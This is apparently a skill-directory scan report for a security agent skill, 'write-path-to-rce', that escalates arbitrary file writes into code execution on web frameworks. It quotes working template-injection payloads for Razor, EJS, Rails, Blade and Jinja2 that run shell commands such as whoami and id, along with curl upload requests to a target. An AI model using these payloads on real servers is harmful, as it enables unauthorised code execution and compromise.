write-path-to-rce

92 / 100 · Low risk

Fine to try. Some of what it can do is expected: a security skill usually runs scanners and checks websites.

By dreadnode/capabilities (GitHub) · security · 22 stars · scanned at commit 3ceeb34

Escalate arbitrary file write into code execution -- plant malicious Jinja2/EJS/Razor/Blade templates, overwrite framework view files, inject auto-loaded helpers. Covers Django, Flask, Express, Rails, Laravel, ASP.NET MVC. Use when you have arbitrary write (path traversal, upload) but cannot execute script extensions directly, and the framework auto-loads templates or code from predictable search paths.

Works with any agent that supports SKILL.md skills.

What this skill can do

Sends data to these websites: target.com

This is disclosed by the author in the skill's SKILL.md or README. Expected for a security skill.

Found in 10 places.

capabilities/web-security/skills/write-path-to-rce/SKILL.md, line 20curl -x localhost:8080 -k "https://target.com/upload" \
capabilities/web-security/skills/write-path-to-rce/SKILL.md, line 24curl -x localhost:8080 -k "https://target.com/tmp/canary.txt"
capabilities/web-security/skills/write-path-to-rce/SKILL.md, line 33curl -x localhost:8080 -k -sD- "https://target.com/" | rg -i "x-powered-by|server|x-aspnet"

Show 7 more

capabilities/web-security/skills/write-path-to-rce/SKILL.md, line 36curl -x localhost:8080 -k "https://target.com/nonexistent_route_xyz"
capabilities/web-security/skills/write-path-to-rce/SKILL.md, line 46curl -x localhost:8080 -k "https://target.com/upload" \
capabilities/web-security/skills/write-path-to-rce/SKILL.md, line 55curl -x localhost:8080 -k "https://target.com/upload" \
capabilities/web-security/skills/write-path-to-rce/SKILL.md, line 65curl -x localhost:8080 -k "https://target.com/upload" \
capabilities/web-security/skills/write-path-to-rce/SKILL.md, line 74curl -x localhost:8080 -k "https://target.com/upload" \
capabilities/web-security/skills/write-path-to-rce/SKILL.md, line 89curl -x localhost:8080 -k "https://target.com/target-route"
capabilities/web-security/skills/write-path-to-rce/SKILL.md, line 92curl -x localhost:8080 -k "https://target.com/out.txt"

Runs commands on your computer

The author does not mention this. Expected for a security skill.

Found in 9 places.

capabilities/web-security/skills/write-path-to-rce/SKILL.md, line 20curl -x localhost:8080 -k "https://target.com/upload" \
capabilities/web-security/skills/write-path-to-rce/SKILL.md, line 33curl -x localhost:8080 -k -sD- "https://target.com/" | rg -i "x-powered-by|server|x-aspnet"
capabilities/web-security/skills/write-path-to-rce/SKILL.md, line 45echo '@{ System.Diagnostics.Process.Start("cmd.exe", "/c whoami > C:\\inetpub\\wwwroot\\out.txt"); }' > payload.cshtml

Show 6 more

capabilities/web-security/skills/write-path-to-rce/SKILL.md, line 54echo '<%= process.mainModule.require("child_process").execSync("id").toString() %>' > payload.ejs
capabilities/web-security/skills/write-path-to-rce/SKILL.md, line 64echo 'system("id > /tmp/pwned.txt")' > payload.rb
capabilities/web-security/skills/write-path-to-rce/SKILL.md, line 73echo '{!! system("id") !!}' > payload.blade.php
capabilities/web-security/skills/write-path-to-rce/SKILL.md, line 82echo '{{ "".__class__.__mro__[1].__subclasses__() }}' > payload.html
capabilities/web-security/skills/write-path-to-rce/SKILL.md, line 89curl -x localhost:8080 -k "https://target.com/target-route"
capabilities/web-security/skills/write-path-to-rce/SKILL.md, line 100rg "ViewEngine|Could not find view|template not found" http_requests/

Install

Paste this into your terminal. It downloads exactly the version we scanned, not whatever is newest.

if [ -e ~/.agents/skills/'write-path-to-rce' ] || [ -L ~/.agents/skills/'write-path-to-rce' ]; then echo 'A skill folder named write-path-to-rce already exists — not replacing it' >&2; false; else d=$(mktemp -d) && git clone --quiet --filter=blob:none --no-checkout 'https://github.com/dreadnode/capabilities' "$d" && git -C "$d" checkout --quiet '3ceeb34c0c33dc36738cf0d4ec86e38b53d98216' -- 'capabilities/web-security/skills/write-path-to-rce' && mkdir -p ~/.agents/skills && cp -R "$d"/'capabilities/web-security/skills/write-path-to-rce' ~/.agents/skills/'write-path-to-rce' && rm -rf "$d"; fi

Codex reads ~/.agents/skills directly. For Claude Code, Cursor, Copilot, Gemini CLI, Antigravity or OpenCode, also link it. For Claude Code: ln -s ~/.agents/skills/'write-path-to-rce' ~/.claude/skills/'write-path-to-rce' (other agents: ~/.cursor/skills, ~/.copilot/skills, ~/.gemini/skills, ~/.gemini/config/skills, ~/.config/opencode/skills). Or install through the finder skill, which does both.

Badge for your README

The badge for dreadnode/capabilities shows the score of its lowest-scoring skill.

SkillTrust badge for dreadnode/capabilities

[![SkillTrust](https://zalavijaysinh.github.io/skilltrust/badges/dreadnode/capabilities.svg)](https://zalavijaysinh.github.io/skilltrust/repos/dreadnode/capabilities/)

Score history

Date	Version	Score
2026-11-11	`3ceeb34`	92